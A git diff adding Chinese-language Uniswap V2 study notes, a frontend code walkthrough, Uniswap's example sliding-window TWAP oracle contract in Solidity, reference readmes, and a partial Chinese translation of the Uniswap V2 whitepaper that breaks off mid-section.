+## 兑换
+
+![](./images/uniswap_v2_swap.gif)
+
+$\Delta%20X$ 越大，实际成交价格越偏离市场价格
+
+## 调整手续费
+
+![](./images/uniswap_v2_fee.gif)
+
+Uniswap V2 固定为 `0.3%`，实际不能调整
+
+## 后续
+
+开始学习 [dfinity](https://dfinity.org/)，顺便学习 Rust
+
+可能会用 Rust 实现一个套利机器人，希望完成后会回来补上..
+
diff --git a/defi/Uniswap-V2/design/images/uniswap_v2_fee.gif b/defi/Uniswap-V2/design/images/uniswap_v2_fee.gif
new file mode 100644
index 000000000..0a2b1a44f
Binary files /dev/null and b/defi/Uniswap-V2/design/images/uniswap_v2_fee.gif differ
diff --git a/defi/Uniswap-V2/design/images/uniswap_v2_mint.gif b/defi/Uniswap-V2/design/images/uniswap_v2_mint.gif
new file mode 100644
index 000000000..22c88bc33
Binary files /dev/null and b/defi/Uniswap-V2/design/images/uniswap_v2_mint.gif differ
diff --git a/defi/Uniswap-V2/design/images/uniswap_v2_reserve.gif b/defi/Uniswap-V2/design/images/uniswap_v2_reserve.gif
new file mode 100644
index 000000000..ae94818a0
Binary files /dev/null and b/defi/Uniswap-V2/design/images/uniswap_v2_reserve.gif differ
diff --git a/defi/Uniswap-V2/design/images/uniswap_v2_swap.gif b/defi/Uniswap-V2/design/images/uniswap_v2_swap.gif
new file mode 100644
index 000000000..c6b60956f
Binary files /dev/null and b/defi/Uniswap-V2/design/images/uniswap_v2_swap.gif differ
diff --git a/defi/Uniswap-V2/mainline.md b/defi/Uniswap-V2/mainline.md
new file mode 100644
index 000000000..c1b26d831
--- /dev/null
+++ b/defi/Uniswap-V2/mainline.md
@@ -0,0 +1,88 @@
+ # 主线任务
+
+ ## 一、uniswap前端概览
+阅读源码包括：
+> uniswap-interface   ------------ react页面  
+uniswap-sdk-core     ----------- “数据类型定义”  
+uniswap-v2-core       ------------ 核心合约（solidity)  
+uniswap-v2-periphery  ------ 使用核心合约（solidity)    
+uniswap-v2-sdk       ------------  v2版本js，提供第三使用使用的sdk
+
+前端(uniswap-interface)引用 “@uniswap/sdk” ==  uniswap-sdk-core
+
+结论：  
+> sdk引用的结构如下为数据模型的引用（类比网站开发的model模块）sdk-core库为业务“元件”使用。在前端使用时用其构建业务代码。 
+> 以下为部分引用代码：   
+>    import { TokenAmount } from '@uniswap/sdk'  
+>	import { Token, TokenAmount, WETH } from '@uniswap/sdk'  
+>	import { Percent } from '@uniswap/sdk'  
+
+如果对我的结论有异议，可自行搜索关键字 “@uniswap/sdk” 验证  （搜索uniswap-interface项目)
+
+
+## 二、代码拆解
+开源代码有其构建结构，我们从中学习的构建方式可以丰富编码方式、编码技巧、提高编写逼格。  
+在v2案例分析中，核心方向有两点
+1. react如何同合约交互（目的：学习代码写法）
+2. v2里每个动作的拆解（目的：学习代码写法，学习业务逻辑）
+
+备注：如果不对react熟悉，reducer写法会绕晕你, 请点击 [参见](https://github.com/Dapp-Learning-DAO/Dapp-Learning/blob/main/defi/Uniswap-V2/Interface/minimap.md)
+
+### ehterproject 使用案例【如何调用合约】
+~~~
+
+// 合约地址
+const daiAddress = "0xxxxxxxxxxxxxxxxxxxxxxxxxxxx";
+
+//合约abi
+const daiAbi = [
+  // Some details about the token
+  "function name() view returns (string)",
+  "function symbol() view returns (string)",
+
+  // Get the account balance
+  "function balanceOf(address) view returns (uint)",
+
+  // Send some of your tokens to someone else
+  "function transfer(address to, uint amount)",
+
+  // An event triggered whenever anyone transfers to someone else
+  "event Transfer(address indexed from, address indexed to, uint amount)"
+];
+// provider 通过这里关联你的”小狐狸“
+const provider = new ethers.providers.Web3Provider(window.ethereum)
+
+// 构建合约对象
+const daiContract = new ethers.Contract(daiAddress, daiAbi, provider);
+// 调用合约方法 “balanceOf”
+balance = await daiContract.balanceOf(xxxxx)
+~~~
+
+
+下面我对添加流动性的代码做了拆解
+
+### ***2.1 如何“添加流动性”***
+需要了解三方库：
+>（etherproject）
+
+使用到的合约“路由”地址：
+> /uniswap-interface/src/constants/index.ts  
+> row 6
+
+ 添加流动性点击事件  
+> /uniswap-interface/src/pages/AddLiquidity/index.tsx  
+> row 128 生成合约方法  
+> row 160 提取合约方法  
+> row 162 构建参数（此参数和下面的合约方法一一对应） 
+
+调用的合约方法如下  
+合约(本合约59行的方法和上诉“点击事件”对应)  
+> /uniswap-v2-periphery/contracts/UniswapV2Router01.sol  
+> row 59
+
+
+上述合约内容使用   
+estimate = router.estimateGas.addLiquidity  
+其中”estimate“ 是估算gas的方法，估算执行”addLiquidity“ 大概的gas费用  
+> estimate(...args, value ? { value } : {}).then(大概的费用=>{ 真正的调用过程在这里 })
+
diff --git a/defi/Uniswap-V2/oracle/16f457d1-oracles_twap_1.pdf b/defi/Uniswap-V2/oracle/16f457d1-oracles_twap_1.pdf
new file mode 100644
index 000000000..eac347b24
Binary files /dev/null and b/defi/Uniswap-V2/oracle/16f457d1-oracles_twap_1.pdf differ
diff --git a/defi/Uniswap-V2/oracle/contract/ExampleSlidingWindowOracle.sol b/defi/Uniswap-V2/oracle/contract/ExampleSlidingWindowOracle.sol
new file mode 100644
index 000000000..d0a50d401
--- /dev/null
+++ b/defi/Uniswap-V2/oracle/contract/ExampleSlidingWindowOracle.sol
@@ -0,0 +1,125 @@
+pragma solidity =0.6.6;
+
+import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol';
+import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol';
+import '@uniswap/lib/contracts/libraries/FixedPoint.sol';
+
+import '../libraries/SafeMath.sol';
+import '../libraries/UniswapV2Library.sol';
+import '../libraries/UniswapV2OracleLibrary.sol';
+
+// sliding window oracle that uses observations collected over a window to provide moving price averages in the past
+// `windowSize` with a precision of `windowSize / granularity`
+// note this is a singleton oracle and only needs to be deployed once per desired parameters, which
+// differs from the simple oracle which must be deployed once per pair.
+contract ExampleSlidingWindowOracle {
+    using FixedPoint for *;
+    using SafeMath for uint;
+
+    struct Observation {
+        uint timestamp;
+        uint price0Cumulative;
+        uint price1Cumulative;
+    }
+
+    address public immutable factory;
+    // the desired amount of time over which the moving average should be computed, e.g. 24 hours
+    uint public immutable windowSize;   //24 hours
+    // the number of observations stored for each pair, i.e. how many price observations are stored for the window.
+    // as granularity increases from 1, more frequent updates are needed, but moving averages become more precise.
+    // averages are computed over intervals with sizes in the range:
+    //   [windowSize - (windowSize / granularity) * 2, windowSize]
+    // e.g. if the window size is 24 hours, and the granularity is 24, the oracle will return the average price for
+    //   the period:
+    //   [now - [22 hours, 24 hours], now]
+    uint8 public immutable granularity;   //1
+    // this is redundant with granularity and windowSize, but stored for gas savings & informational purposes.
+    uint public immutable periodSize;    //windowSize/granularity 24
+
+    // mapping from pair address to a list of price observations of that pair
+    mapping(address => Observation[]) public pairObservations;
+
+    constructor(address factory_, uint windowSize_, uint8 granularity_) public {
+        require(granularity_ > 1, 'SlidingWindowOracle: GRANULARITY');
+        require(
+            (periodSize = windowSize_ / granularity_) * granularity_ == windowSize_,
+            'SlidingWindowOracle: WINDOW_NOT_EVENLY_DIVISIBLE'
+        );
+        factory = factory_;
+        windowSize = windowSize_;
+        granularity = granularity_;
+    }
+
+    // returns the index of the observation corresponding to the given timestamp
+    function observationIndexOf(uint timestamp) public view returns (uint8 index) {
+        uint epochPeriod = timestamp / periodSize;
+        return uint8(epochPeriod % granularity);
+    }
+
+    // returns the observation from the oldest epoch (at the beginning of the window) relative to the current time
+    function getFirstObservationInWindow(address pair) private view returns (Observation storage firstObservation) {
+        uint8 observationIndex = observationIndexOf(block.timestamp);
+        // no overflow issue. if observationIndex + 1 overflows, result is still zero.
+        uint8 firstObservationIndex = (observationIndex + 1) % granularity;
+        firstObservation = pairObservations[pair][firstObservationIndex];
+    }
+
+    // update the cumulative price for the observation at the current timestamp. each observation is updated at most
+    // once per epoch period.
+    function update(address tokenA, address tokenB) external {
+        address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
+
+        // populate the array with empty observations (first call only)
+        for (uint i = pairObservations[pair].length; i < granularity; i++) {
+            pairObservations[pair].push();
+        }
+
+        // get the observation for the current period
+        uint8 observationIndex = observationIndexOf(block.timestamp);
+        Observation storage observation = pairObservations[pair][observationIndex];
+
+        // we only want to commit updates once per period (i.e. windowSize / granularity)
+        uint timeElapsed = block.timestamp - observation.timestamp;
+        if (timeElapsed > periodSize) {
+            (uint price0Cumulative, uint price1Cumulative,) = UniswapV2OracleLibrary.currentCumulativePrices(pair);
+            observation.timestamp = block.timestamp;
+            observation.price0Cumulative = price0Cumulative;
+            observation.price1Cumulative = price1Cumulative;
+        }
+    }
+
+    // given the cumulative prices of the start and end of a period, and the length of the period, compute the average
+    // price in terms of how much amount out is received for the amount in
+    function computeAmountOut(
+        uint priceCumulativeStart, uint priceCumulativeEnd,
+        uint timeElapsed, uint amountIn
+    ) private pure returns (uint amountOut) {
+        // overflow is desired.
+        FixedPoint.uq112x112 memory priceAverage = FixedPoint.uq112x112(
+            uint224((priceCumulativeEnd - priceCumulativeStart) / timeElapsed)
+        );
+        amountOut = priceAverage.mul(amountIn).decode144();
+    }
+
+    // returns the amount out corresponding to the amount in for a given token using the moving average over the time
+    // range [now - [windowSize, windowSize - periodSize * 2], now]
+    // update must have been called for the bucket corresponding to timestamp `now - windowSize`
+    function consult(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut) {
+        address pair = UniswapV2Library.pairFor(factory, tokenIn, tokenOut);
+        Observation storage firstObservation = getFirstObservationInWindow(pair);
+
+        uint timeElapsed = block.timestamp - firstObservation.timestamp;
+        require(timeElapsed <= windowSize, 'SlidingWindowOracle: MISSING_HISTORICAL_OBSERVATION');
+        // should never happen.
+        require(timeElapsed >= windowSize - periodSize * 2, 'SlidingWindowOracle: UNEXPECTED_TIME_ELAPSED');
+
+        (uint price0Cumulative, uint price1Cumulative,) = UniswapV2OracleLibrary.currentCumulativePrices(pair);
+        (address token0,) = UniswapV2Library.sortTokens(tokenIn, tokenOut);
+
+        if (token0 == tokenIn) {
+            return computeAmountOut(firstObservation.price0Cumulative, price0Cumulative, timeElapsed, amountIn);
+        } else {
+            return computeAmountOut(firstObservation.price1Cumulative, price1Cumulative, timeElapsed, amountIn);
+        }
+    }
+}
\ No newline at end of file
diff --git a/defi/Uniswap-V2/oracle/readme.md b/defi/Uniswap-V2/oracle/readme.md
new file mode 100644
index 000000000..6540799d4
--- /dev/null
+++ b/defi/Uniswap-V2/oracle/readme.md
@@ -0,0 +1,8 @@
+# Oracle
+## twap
+ uniswap v2 滑动窗口的twap价格实现；请参考合约目录下的ExampleSlidingWindowOracle;
+## 参考链接
+- chainlink vs twap: https://smartcontentpublication.medium.com/twap-oracles-vs-chainlink-price-feeds-a-comparative-analysis-8155a3483cbd
+- univ2 twap github: https://github.com/Uniswap/v2-periphery/tree/master/contracts/examples
+- slideWindowsOracle: https://www.cxyzjd.com/article/weixin_39430411/109262196
+
diff --git a/defi/Uniswap-V2/readme.md b/defi/Uniswap-V2/readme.md
new file mode 100644
index 000000000..8ec90e16d
--- /dev/null
+++ b/defi/Uniswap-V2/readme.md
@@ -0,0 +1,55 @@
+## 介绍  
+Uniswap V2 研究小组的成果输出, 从白皮书, 合约代码, 再到前端代码都进行了深入的讲解, 给初次接触 Uniswap V2 的开发者以细致详尽的讲解.  
+同时研究小组把分析的视频上传到了 BiliBili , 具体可参考如下链接.
+
+Uniswap V2 白皮书讲解: https://www.bilibili.com/video/BV11L41147VN  
+Uniswap V2 前端代码解析-part 1:  https://www.bilibili.com/video/BV1Uv411N7Ry 
+
+# Uniswap V2
+
+## Contract
+主要合约 :
+- `UniswapV2Router02`: 路由合约，负责跟用户交互；
+- `UniswapV2Factory`: 工厂合约，创建pair(即pool);
+- `UniswapV2Pair`: 具体交易对合约，负责实际交易。
+具体请看 [合约解析](./contract/UniswapV2Router02.md)
+## SDK
+具体请看 [SDK](./SDK/readme.md)
+## ORACLE
+具体请看 [oracle](./oracle/readme.md)
+## Design Comments
+关于设计的一些思考 [design comments](./design/design-comments.md)
+一些动图演示 [graphs](./design/graphs.md)
+## Interface
+Interface 是 User Interface 的含义，此为 Uniswap 网站的代码，包括 token交易,添加和移除流动性等功能。
+- 代码分析使用版本 `tag 3.2.7`
+- UniswapV2Interface 源码地址：https://github.com/Uniswap/uniswap-interface/tree/v3.2.7
+内容目录:
+- 使用的技术栈
+- 需要提前了解的知识点
+- State 数据的结构
+- Multicall State 解析
+- 用户使用流程及 State 的变化
+- 代码解析
+- 相关辅助数据
+- 相关引用
+详细内容请戳这里 :point_right: [UniswapV2 Interface Guide](./Interface/readme.md)
+## 参考链接
+- jeiwan专栏: https://jeiwan.net/posts/programming-defi-uniswapv2-1/
+- 如何 Fork uniswap: https://www.youtube.com/watch?v=U3fTTqHy7F4   
+- 构建一个简单的交易所: https://medium.com/@austin_48503/%EF%B8%8F-minimum-viable-exchange-d84f30bd0c90  
+- 手把手教你开发去中心化交易所:  <https://www.youtube.com/playlist?list=PLV16oVzL15MRR_Fnxe7EFYc3MAykL-ccv>  
+  - 将UniswapV2部署到所有区块链—去中心化交易所Uniswap多链部署教学视频:  <https://www.bilibili.com/video/BV1ph411e7bT?p=1>  
+- V2交易界面: https://app.uniswap.org/#/swap?use=V2  
+- Uniswap - 智能合约V2代码导读: https://learnblockchain.cn/article/1480
+- 交易滑点：https://zhuanlan.zhihu.com/p/362949468
+- 代码解读的很全面的几份资料： 
+    1. Uniswap V2 数学与源码解读： https://mp.weixin.qq.com/s/XXjoZG6wMRkbCDk65lubMg 
+    2. uniswap v2 代码解读：https://learnblockchain.cn/article/7963
+    3. 剖析DeFi交易产品之Uniswap：V2 三部曲 
+        1. [V2上篇](https://mp.weixin.qq.com/s/ICE77y_GxAg_dZelxrPZOA)
+        2. [V2中篇](https://mp.weixin.qq.com/s/Z3AYJacShXQJDf61kNld_A)
+        3. [V2下篇](https://mp.weixin.qq.com/s/BgdJD9ct8og20U3Asfwnkg)
+    4. 代码解析: https://ethereum.org/zh/developers/tutorials/uniswap-v2-annotated-code/
+ - 深入理解 Uniswap v2 白皮书： https://hackmd.io/@adshao/HkZwPZNf9 
+ - Uniswap V2 Book - RareSkills： https://www.rareskills.io/uniswap-v2-book **强烈推荐👍**
diff --git a/defi/Uniswap-V2/whitepaper/whitepaper-zh.md b/defi/Uniswap-V2/whitepaper/whitepaper-zh.md
new file mode 100644
index 000000000..2ad45f9f0
--- /dev/null
+++ b/defi/Uniswap-V2/whitepaper/whitepaper-zh.md
@@ -0,0 +1,179 @@
+> 原文：[Uniswap V2 Whitepaper](https://uniswap.org/whitepaper.pdf)
+
+## 摘要
+这篇技术白皮书解释了Uniswap V2[核心合约](https://github.com/Uniswap/v2-core)背后的设计决策。内容涵盖了合约的新特性，包括任意ERC20代币的交易对、强化的价格预言机制、允许交易者先接收资产并使用等，随后在转账中支付的“快速互换”功能、以及在未来可以开启的协议手续费。为减少受攻击面，V2还重新设计了合约架构。这本白皮书描述了Uniswap V2“核心”合约的运行机制，包括储存流动性提供者资金的交易对合约，和用于实例化交易对合约的工厂合约。
+
+## 1. 介绍
+Uniswap V1是一个以太坊区块链上的智能合约系统，基于常数乘积公式实现了自动流动性协议。每个Uniswap-V1交易对在资金池里储存了两种资产，并为这两种资产提供流动性，维持这两种资产的乘积不减少。交易者支付0.3%的交易手续费给流动性提供者。并且合约是不能升级的。
+
+Uniswap V2基于相同的公式实现，并增加了几个新的可取的特性。最重要的是，它能够创建任意的 ERC20/ERC20 交易对，而不是只支持 ERC20和ETH 之间的交易对。除此以外，它还提供了一个强化的价格预言机制，通过在每个区块的开始处累积两个资产的相对价格。这允许其他以太坊合约可以计算两个资产在任意时间区间上的TWAP（时间加权平均价格）价格。最后，它使用了“快速互换”功能，用户可以自由地接收资产并把他们用在链上的其他地方，只要在转账的最后支付（或返还）即可。
+
+虽然合约通常来说不可升级，但是V2有一个私钥能够更新一个变量，可以打开链上0.05%的手续费，这个变量一开始是关闭的，但是可以在未来打开，打开之后流动性提供者在每笔交易上赚取0.25%，而不是0.3%。
+
+Uniswap V2修复了一些V1中的小问题，也重新设计了架构，主要把逻辑最小化放在[核心合约](https://github.com/Uniswap/v2-core)中。该核心合约维持了流动性提供者的资金，从而使系统变得更容易升级，也减少了Uniswap的受攻击面。
+
+这篇论文描述了[核心合约](https://github.com/Uniswap/v2-core)的运行机制，以及用来实例化核心合约的[工厂合约](https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Factory.sol)。实际上使用Uniswap V2需要通过一个[路由合约](https://github.com/Uniswap/v2-periphery/tree/master/contracts)，计算交易/存款数额并转移资金到[交易对合约](https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol)。
+
+## 2. 新特性
+### 2.1 ERC20交易对
+Uniswap V1使用ETH作为过渡货币，每个交易对都包含ETH。这使得路由更简单（ABC和XYZ之间的每笔交易都通过ETH/ABC交易对和ETH/XYZ交易对进行），并且减少了流动性的分散。
+
+然而，这个规则给流动性提供者增加了可观的成本。所有流动资金提供者都有ETH的敞口，并且由于其他资产相对于ETH的价格变化而遭受无常损失。当两个资产ABC和XYZ相关时（例如，如果它们都是锚定美元的稳定币），则在Uniswap交易对ABC/XYZ上的流动性提供者遭受的无常损失会比ABC/ETH或XYZ/ETH交易对少。
+
+使用ETH作为强制性过渡货币也会给交易者带来成本。交易者必须支付的费用是直接购买ABC/XYZ交易对的费用的两倍，因此他们遭受两次滑点。
+
+Uniswap V2允许流动性提供商为任意两个ERC20创建对合约。
+
+任意ERC20之间的交易对数量的激增可能会使寻找交易特定货币对的最佳路径变得更加困难，但是路由可以在更高的层面上处理（在链下处理或通过链上路由器或聚合器）。
+
+### 2.2 价格预言
+Uniswap提供的t时刻的边际价格（不包括手续费）可以用资产a的储备除以资产b的储备来计算。
+<center><img src="https://raw.githubusercontent.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/main/papers/3-DEFI/Uniswap-V2/whitepaper/image/1.svg" /></center>
+
+如果这个价格偏离（超出手续费足够的数额），套利者会和Uniswap进行交易使价格回归正常，所以Uniswap提供的价格趋向于追踪资产在相关市场的价格。这意味着它可以被用作一个近似的价格预言。
+
+然而，使用Uniswap V1作为链上价格预言是不安全的，因为它非常容易被操纵。假设一个其他的合约用当前的ETH-DAI的价格交割某个衍生品，操纵价格的攻击者会从ETH-DAI交易对买入ETH，在衍生品上触发结算（引起失真的结算价），然后再把ETH卖给交易对，用真实价格反向交易。这甚至可以用一个原子的转账来完成，或者通过一个可以控制区块内交易顺序的矿工来完成攻击。
+
+Uniswap V2改进了预言的功能，通过测算和记录每个区块第一笔交易之前的价格（也就是前一个区块最后的价格）。这个价格比一个区块内的价格更难被操纵。如果攻击者提交了一笔交易（transaction）尝试在区块末尾处操纵价格，其他的套利者可以提交另一个交易立即进行反向交易。某个矿工（或有足够gas填满整个区块的攻击者）可以操纵区块末尾处的价格，除非他们可以挖出下一个区块，否则他们他们没有特殊的的套利优势。
+
+具体来说，Uniswap V2追踪每个和合约交互的区块开始处的价格的累加和，来累加价格。每个价格用距离上一个更新价格的区块的时间进行加权，根据区块时间戳。这意思是累加器的值在任意时间（更新后）的值应该等于合约历史上每秒的现货价格的和。
+<center><img src="https://raw.githubusercontent.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/main/papers/3-DEFI/Uniswap-V2/whitepaper/image/2.svg" /></center>
+
+要计算从时间​<span>t<sub>1</sub></span>到<span>t<sub>2</sub></span>​的时间加权平均价，一个外部调用者可以检查​<span>t<sub>1</sub></span>和<span>t<sub>2</sub></span>时间的累加器的值，将后值减去前值，再除以期间经过的秒数。（注意，合约本身并不记录历史累加值，调用者必须在时间段开始处调用合约来读取和储存这个值。）
+<center><img src="https://raw.githubusercontent.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/main/papers/3-DEFI/Uniswap-V2/whitepaper/image/3.svg" /></center>
+
+预言的用户可以选择这个区间的起始和结束时间。选择更长的区间可以让攻击者操纵价格的成本更高，尽管这会导致价格变化滞后。
+
+一个复杂之处：我们应该用资产B来计算资产A的价格还是用资产A来计算资产B的价格？虽然用B计算的A的现货价格总是用A计算的B的现货价格的倒数，但是在某一时间段内用B计算的A的均价不等于用A计算的B的均价的倒数。举个例子，如果USD/ETH价格在区块1中是100，在区块2中是300，USD/ETH的均价是200 USD/ETH，但是ETH/USD的均价是1/150 ETH/USD。因为合约无法知道用户想要用哪个资产作为账户单位，所以Uniswap V2会同时追踪两个价格。
+
+另一个复杂之处在于：有可能某个人发送资产给交易对合约，用来改变它的余额和边际价格，但又不和它交互，因此不会触发价格更新。如果合约简单的检查它自己的余额然后更新预言，攻击者可以在某一个区块中第一次调用合约之前向合约发送资产，从而操纵价格。如果上一次交易的区块是X秒以前，合约会在累加之前错误地把新价格乘以X，即使没有用户用那个价格进行过交易。为了防止这个问题，核心合约在每次交互后缓存它的资金储备，用缓存的资金储备更新价格预言而不用当前资金储备。除了保护价格预言被操纵，这个改动也启用3.2节中描述的合约重新架构。
+
+#### 2.2.1 精度
+Solidity没有一等的非整型数的数据结构的支持，Uniswap V2用简单的二进制定点数格式编码和控制价格。具体来说，某一时间的价格存储为UQ112.112格式，意思是在小数点的任意一边都有112位精度，无符号。这些数字的范围是 <strong>[0, 2<sup>112</sup> - 1]</strong>，精度是 <strong>1 / 2<sup>112</sup></strong> 。
+
+选择UQ112.112格式是由于实用的原因，因为这些数可以被存在uint224中，在256位中剩余了32位空余。储备资金各自存在uint112中，剩余32位存储空间。这些空闲空间被用于之前描述的累加过程。具体来说，储备资金和时间戳存储在至少有一个交易的最近的区块中，mod <span>2<sup>32</sup></span>即取余之后可以存进32位空间。另外，尽管任意时间的价格（已存储的UQ112.112数字）确保可以储存进224位中，但某段时间的累加值确保能存下。存储A/B和B/A累加价格空间尾部附加的32位用来存连续累加溢出的位。这样设计意味着价格预言只在每一个区块的第一次交易中增加了3次SSTORE操作（目前花费15000gas）。
+
+主要的缺点是32位不足以储存时间戳并确保不溢出。事实上32位Unix时间戳的溢出日期是2106年7月2日。为了确保系统在这个日期后以及每 <span>2<sup>32</sup></span> - 1 秒的间隔能够继续运行，预言简单要求每个间隔至少检查一次价格（大约136年一次）。这是由于累加的核心函数（时间戳的mod取余运算）是溢出安全的，意思是预言用溢出算法计算差值，跨越溢出区间的交易可以被合理计算。
+
+### 2.3 快速互换
+Uniswap V1中，用户用XYZ买ABC需要发送XYZ到合约，然后才能收到ABC。如果用户需要ABC为了获取他们支付的XYZ，这种方式不方便的。举个例子，用户可能在其他合约中用ABC买XYZ，为了对冲Uniswap上的价格，或者他们可能在Maker或Compound上卖出抵押品平仓然后返还给Uniswap。
+
+Uniswap V2添加了一个新的特性，允许用户在支付前接收和使用资产，只要他们在同一个原子的转账中完成支付。[swap](https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol#L159)函数调用一个可选的用户指定的回调合约，在这之间转出用户请求的代币并且强制确保不变。一旦回调完成，合约检查新余额并且确保满足不变（在经过支付手续费调整后）。如果合约没有足够的资金，它会回滚整个交易。
+
+用户也可以用同样的代币返还给Uniswap资金池而不完成互换。这高效地让任何人从Uniswap资金池中快速借取任何资产（Uniswap收取同样的千分之三的交易手续费）。
+
+### 2.4 协议手续费
+Uniswap V2包括0.05%协议手续费，可以打开或关闭，如果打开，手续费会被发送给工厂合约中指定的[feeTo](https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Factory.sol#L7)地址。
+
+初始时，feeTo没有被设定，不收手续费。一个预先指定的地址feeToSetter可以在Uniswap V2工厂合约上调用setFeeTo函数，设置feeTo地址。feeToSetter也可以自己调用setFeeToSetter修改feeToSetter地址。
+
+如果feeTo地址被设置，协议会收取5bp的手续费，从流动性提供者的30bp手续费中抽取1/6。交易者将在所有交易上支付0.3%手续费，83.3%(交易额的0.25%)的手续费给流动性提供者，16.6%(交易额的0.05%)手续费给feeTo地址。
+
+在交易时收取0.05%的费用将在每个交易中额外增加GAS成本。为了避免这种情况，只有在存入或撤回流动性时才会收取。合约会在铸造或焚烧任何代币之前计算累积费用并铸造新的流动性代币，立即向费用受益人支付费用。
+
+总共收集的手续费可以用自从上次手续费收集以来的增长来计算。以下公式给出了<span>t<sub>1</sub></span>和<span>t<sub>2</sub></span>之间的累加手续费占<span>t<sub>2</sub></span>时间资金池中流动性的百分比：
+<center><img src="https://raw.githubusercontent.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/main/papers/3-DEFI/Uniswap-V2/whitepaper/image/4.svg" /></center>
+
+如果fee在时间<span>t<sub>1</sub></span>前启用，feeTo地址应该获得1/6的<span>t<sub>1</sub></span>到<span>t<sub>2</sub></span>时间段内的累加手续费。因此，我们要铸造新的流动性代币给feeTo地址​ <span><img src="https://raw.githubusercontent.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/main/papers/3-DEFI/Uniswap-V2/whitepaper/image/17.svg" /></span> ，其中​ <span><img src="https://raw.githubusercontent.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/main/papers/3-DEFI/Uniswap-V2/whitepaper/image/18.svg" /></span> 。
+
+我们要选择一个<span>s<sub>m</sub></span>满足以下关系，其中<span>s<sub>1</sub></span>是<span>t<sub>1</sub></span>时刻的流通份额总量：
+<center><img src="https://raw.githubusercontent.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/main/papers/3-DEFI/Uniswap-V2/whitepaper/image/5.svg" /></center>
+
+经过<span>f<sub>1,2</sub></span>和<span>s<sub>m</sub></span>的变换，将其​替换为后，解得​
+<center><img src="https://raw.githubusercontent.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/main/papers/3-DEFI/Uniswap-V2/whitepaper/image/6.svg" /></center>
+
+设φ为1/6，我们得到以下公式：
+<center><img src="https://raw.githubusercontent.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/main/papers/3-DEFI/Uniswap-V2/whitepaper/image/7.svg" /></center>
+
+假设初始存款人存了100DAI和1ETH在交易对中，收到10份额。一段时间后（如果没有其他存款人参与）他们把钱转出，这时交易对有96DAI和1.5ETH，用上面得公式可以得出：
+<center><img src="https://raw.githubusercontent.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/main/papers/3-DEFI/Uniswap-V2/whitepaper/image/8.svg" /></center>
+
+### 2.5 资金池份额的元交易
+Uniswap V2交易对铸造得资金池份额原生支持元转账。这意味着用户可以用签名授权一个他们的资金池份额的转账，而不用从他们的地址进行链上转账。任何人都可以调用permit函数来以用户的名义发送签名，支付gas手续费并在同一个转账中执行其他操作。
+
+## 3. 其他修改
+### 3.1 Solidity
+Uniswap V1是用Vyper实现的，一种类似于Python的智能合约预言。Uniswap V2是用更广泛使用的Solidity实现的，因为它在开发的时候需要一些Vyper中不可用的功能（比如翻译非标准ERC20代币的返回值，通过内联汇编访问新的字节码chanid）。
+
+### 3.2 合约重新架构
+Uniswap V2在设计时优先考虑的一个方面是最小化受攻击表面积和核心交易对合约的复杂度，交易对合约储存了流动性提供者的资产。这个合约中的任何bug都可能是灾难性的，因为数百万美元的流动性可能会被窃取或冻结。
+
+在评估核心合约的安全性时，最重要的问题是它是否保护流动性提供者，以防他们的资产被窃取或冻结。除了基本的允许资产在资金池中互换的功能，任何支持或保护交易者的特性，都可以在[路由合约](https://github.com/Uniswap/v2-periphery/tree/master/contracts)中处理。
+
+事实上，甚至一部分的互换功能也可以被抽出放到路由合约中。之前提到过，Uniswap V2储存有每种资产最近一次记录的余额（为了防止预言机制被操纵）。新的架构利用了这一点来进一步简化Uniswap V1合约。
+
+Uniswap V2中，卖方在调用互换函数之前发送资产到核心合约。然后合约通过比较上次记录的余额和最新余额来计算它收到了多少资产。这意味着核心合约对交易者转账的方式是不可知的。除了[transferFrom](https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2ERC20.sol#L73)以外，也可能是元交易，或未来任何其他的授权ERC20代币转账的机制。
+
+#### 3.2.1 手续费调整
+Uniswap V1通过转入合约的代币数量，在保持常数乘积不变之前收取交易手续费。合约强制确保了以下公式：
+<center><img src="https://raw.githubusercontent.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/main/papers/3-DEFI/Uniswap-V2/whitepaper/image/9.svg" /></center>
+
+使用flash swaps时，Uniswap V2引入了<span>x<sub>in</sub></span>和<span>y<sub>in</sub></span>可以同时为非零的可能性（当用户想要返还同样的资产，而不是互换时）。为了处理这种情况，同时正确地收取手续费，合约强制确保：
+<center><img src="https://raw.githubusercontent.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/main/papers/3-DEFI/Uniswap-V2/whitepaper/image/10.svg" /></center>
+
+为了简化链上计算，两边同时乘以1000000，得到：
+<center><img src="https://raw.githubusercontent.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/main/papers/3-DEFI/Uniswap-V2/whitepaper/image/11.svg" /></center>
+
+#### 3.2.2 sync()和skim()函数
+为了防止特殊实现用来修改交易对合约余额的代币，并且为了更优雅地处理超过​<span>2<sup>112</sup></span>总发行量的代币，Uniswap V2有两个救援函数：[sync()](https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol#L198)和[skim()](https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol#L190)。
+
+sync()作用是在代币异步地减少交易对的余额时的恢复机制。这种情况下，交易会收到次优的汇率，如果没有流动性提供者作出反应，交易对会卡住。sync()的作用是设置合约的储备金为合约当前的余额，提供一种稍微优雅一点的恢复机制。
+
+skim()作用是在发送到代币的数量溢出了uint112大小的储备金存储空间时的恢复机制，否则交易会失败。它允许用户将提出交易对当前余额和​ <strong>2<sup>112</sup> - 1</strong> 的差值大于0时，将差值提出到调用者的地址。
+
+### 3.3 处理非标准和非常规代币
